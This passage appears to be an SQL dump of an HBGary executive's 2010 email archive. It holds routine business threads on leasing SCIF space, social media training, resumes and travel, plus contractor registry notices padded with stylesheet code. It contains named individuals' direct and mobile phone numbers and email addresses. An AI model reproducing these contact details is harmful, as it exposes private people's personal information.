including:\r\n     \r\n       In-depth profiles on 79 federal agencies, all 50 states and the  District of Columbia and 67,000 local governments with more than 1.7&nbsp;million federal, state, and local government  contacts, including program managers, contracting officials, and senior  executives\r\n       More than 475 government organizational charts&nbsp;to quickly  identify key decision makers and influencers\r\n       Analysis on 490,000+ federal prime contractors and a directory of  824,000+ small businesses&nbsp;to identify teaming partners and gather  competitive intelligence\r\n       Forecasting with 95 percent accuracy and analyses on verticals and hot topics across federal,  state and local governments&nbsp;to keep you up-to-date on the latest trends  and issues.  INPUT&rsquo;s methodology goes beyond OMB&rsquo;s reporting on  agencies, since it includes data on legislative and executive branches,  intelligence estimates, and government-owned corporations  \r\n       \r\n     \r\n     \r\n     \r\n	 \r\n     Contact us today and gain a better understanding of how you can leverage INPUT for your company. See why over $200 billion in government spending goes to INPUT members each year! \r\n     \r\n     \r\n   \r\n   \r\n            \r\n   \r\n     \r\n \r\n\r\n \r\n \r\n\r\n\r\n\r\n			\r\n				 \r\n     &copy; INPUT 2010. All rights reserved. \r\n  \r\n  \r\n    11720  Plaza America Drive, Suite 1200 - Reston, VA, 20190\r\n          \r\n       \r\n  \r\n  \r\n     This email was sent to: Aaron@HBGary.com \r\n      Visit the Subscription Center to edit your subscriptions. Unsubscribe \r\n  \r\n			\r\n\r\n\r\n \r\n\r\n\r\n',8583,'aaron_hbgary_com/8583.html'),(12162,'2010-09-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009010.M988857P14101Q7017.eml','\"Hill, Lawrence C (TASC)\" <lawrence.hill@tasc.com>,\"Hill, Lawrence C (TASC)\" <lawrence.hill@tasc.com>,','Re: EXTERNAL:SCIF Space','No problem, after I learned the timeline I figured it was a long shot.\r\n We\'ve made arrangements for this proposal, but I would like pricing\r\non the 2person SCIF, as we have other opportunities and there is still\r\na chance we could use it if we win this proposal.\r\n\r\nThanks Lawrence!\r\nTed\r\n\r\n\r\n\r\nOn Wed, Sep 22, 2010 at 10:57 AM, Hill, Lawrence C (TASC)\r\n wrote:\r\n> Ted,\r\n>\r\n> Sorry to say, I think the short answer is we can\'t get there from here in a timely fashion today.  However, we can work this longer term especially for a two person SCIF setting on the second floor lobby area.\r\n>\r\n> If Deb could give you a price per square foot for that area AND we don\'t have to commit to providing the space upon award of contract your contract then we might be able to get you something for your proposal today.  Deb?\r\n>\r\n> VR,\r\n> Lawrence\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, September 21, 2010 3:43 PM\r\n> To: Hill, Lawrence C (TASC); deb.debolt@tasc.com\r\n> Cc: Barr Aaron\r\n> Subject: Re: EXTERNAL:SCIF Space\r\n>\r\n> Lawrence,\r\n>\r\n> I just found out this is in support of a proposal, so for it to help\r\n> with our immediate needs, we need to have pricing information by COB\r\n> tomorrow.  I know this is a tall order, and understand if Deb can\'t\r\n> get it to us this fast.  Either way though we\'d like the information\r\n> for future reference.\r\n>\r\n> Thanks!\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n> On Tue, Sep 21, 2010 at 2:35 PM, Ted Vera  wrote:\r\n>> For now the 2 person could work - would also be interested to know\r\n>> about the BB SCIF.  Can you find out the details / price from Deb?\r\n>>\r\n>> Thanks!\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Tue, Sep 21, 2010 at 2:30 PM, Hill, Lawrence C (TASC)\r\n>>  wrote:\r\n>>> Ted,   How much do you need?  We may have a small space (2 person)\r\n>>> available and with some effort might be able to make the old Blue Bird\r\n>>> space available.\r\n>>>\r\n>>> I\'ll need to check particulars with Deb Debolt and Bill Lightfoot but\r\n>>> certainly will check into it further.\r\n>>>\r\n>>> L\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Tuesday, September 21, 2010 1:44 PM\r\n>>> To: Hill, Lawrence C (TASC)\r\n>>> Cc: Barr Aaron\r\n>>> Subject: EXTERNAL:SCIF Space\r\n>>>\r\n>>> Hi Lawrence,\r\n>>>\r\n>>> Do you have any SCIF space that is available for lease?\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1153,'aaron_hbgary_com/1153.html'),(12163,'2010-09-22','\"Estrada, Daniel\" <Daniel.Estrada@ManTech.com>','/aaron@hbgary.com/new/1297009011.M254873P14101Q7018.eml','aaron@hbgary.com,aaron@hbgary.com,,','RE: Couple of things','\r\n\r\n\r\n\r\n\r\nRE: Couple of things\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat is a good contact number for me to reach you at?\r\n\r\nThank you,\r\nDaniel Estrada\r\n\r\n\r\n-----Original Message-----\r\nFrom: Eifert, Eric J.\r\nSent: Wed 9/22/2010 12:18 PM\r\nTo: Estrada, Daniel\r\nCc: Larsen, Larry M.; Dillon, Jamey D; van Goethem, Henri M\r\nSubject: FW: Couple of things\r\n\r\nDaniel, can you reach out to Aaron and set up a time to go over this training?&nbsp; You can do it here if you want, I would also like to attend if possible but you are most important.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President and General Manager, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148\r\n\r\n**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, September 22, 2010 12:14 PM\r\nTo: Eifert, Eric J.\r\nSubject: Couple of things\r\n\r\nOne do you want to set up a time to talk about social media training?\r\nI can walk through the course material with your folks.&nbsp; I don\'t have\r\nan open class coming up soon\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8660,'aaron_hbgary_com/8660.html'),(12164,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009011.M523499P14101Q7019.eml','\"Estrada, Daniel\" <Daniel.Estrada@mantech.com>','Re: Couple of things','Sure.  719.510.8478AaronSent from my iPhoneOn Sep 22, 2010, at 2:19 PM, &quot;Estrada, Daniel&quot; &lt;Daniel.Estrada@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat is a good contact number for me to reach you at?\r\n\r\nThank you,\r\nDaniel Estrada\r\n\r\n\r\n-----Original Message-----\r\nFrom: Eifert, Eric J.\r\nSent: Wed 9/22/2010 12:18 PM\r\nTo: Estrada, Daniel\r\nCc: Larsen, Larry M.; Dillon, Jamey D; van Goethem, Henri M\r\nSubject: FW: Couple of things\r\n\r\nDaniel, can you reach out to Aaron and set up a time to go over this training?  You can do it here if you want, I would also like to attend if possible but you are most important.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President and General Manager, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, September 22, 2010 12:14 PM\r\nTo: Eifert, Eric J.\r\nSubject: Couple of things\r\n\r\nOne do you want to set up a time to talk about social media training?\r\nI can walk through the course material with your folks.  I don&#39;t have\r\nan open class coming up soon\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12335,'aaron_hbgary_com/12335.html'),(12165,'2010-09-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009011.M837610P14101Q7020.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Resume','Attached, let us know if you need any revisions...\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8756,'aaron_hbgary_com/8756.html'),(12166,'2010-09-22','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009012.M187038P14101Q7021.eml','maria@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"carma\" <carma@hbgary.com>,\"Rocco Fasciani\" <rocco@hbgary.com>,maria@hbgary.com','I will be in DC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI will be flying to Dulles on Monday arriving at 4:00pM.&nbsp; I\r\nhave dinner that night and am available for meetings until 4:00PM on Friday.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI currently have \r\n\r\n&nbsp;\r\n\r\nMonday- Dinner\r\n\r\nTuesday&nbsp; 10:30-1:00&nbsp; Meeting with Qinetiq\r\n\r\nWednesday&nbsp; 10:00-2:00 PwC\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAll other times I am open.&nbsp; I will put these on my Google\r\nCalendar, if you want ot schedule a meeting, go ahead\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1944,'aaron_hbgary_com/1944.html'),(12167,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009012.M546617P14101Q7022.eml','\"Brian M Masterson\" <Brian.Masterson@ngc.com>','Fwd: Resume','Sent from my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: September 22, 2010 2:40:18 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Cc: mark@hbgary.com\r\nSubject: ResumeAttached, let us know if you need any revisions...\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',12060,'aaron_hbgary_com/12060.html'),(12168,'2010-09-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009012.M793492P14101Q7023.eml','\"Barr Aaron\" <aaron@hbgary.com>','furman','nobody has contact matt for an interview.  he just called, getting ancy...\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8501,'aaron_hbgary_com/8501.html'),(12169,'2010-09-22','arc@westfields.net','/aaron@hbgary.com/new/1297009013.M249450P14101Q7025.eml','federal@hbgary.com','NGA / LSPD Support Announcement Posting','\r\nAn announcement has been posted on the NGA-LSPD Support effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select NGA /LSPD Support from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',9839,'aaron_hbgary_com/9839.html'),(12170,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009013.M34671P14101Q7024.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Fwd: furman','FYI.Sent from my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: September 22, 2010 2:50:08 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: furman\r\nnobody has contact matt for an interview.  he just called, getting ancy...-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10086,'aaron_hbgary_com/10086.html'),(12171,'2010-09-22','arc@westfields.net','/aaron@hbgary.com/new/1297009013.M468393P14101Q7026.eml','federal@hbgary.com','Caprica Announcement Posting','\r\nAn announcement has been posted on the NRO-Caprica effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select Caprica from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button 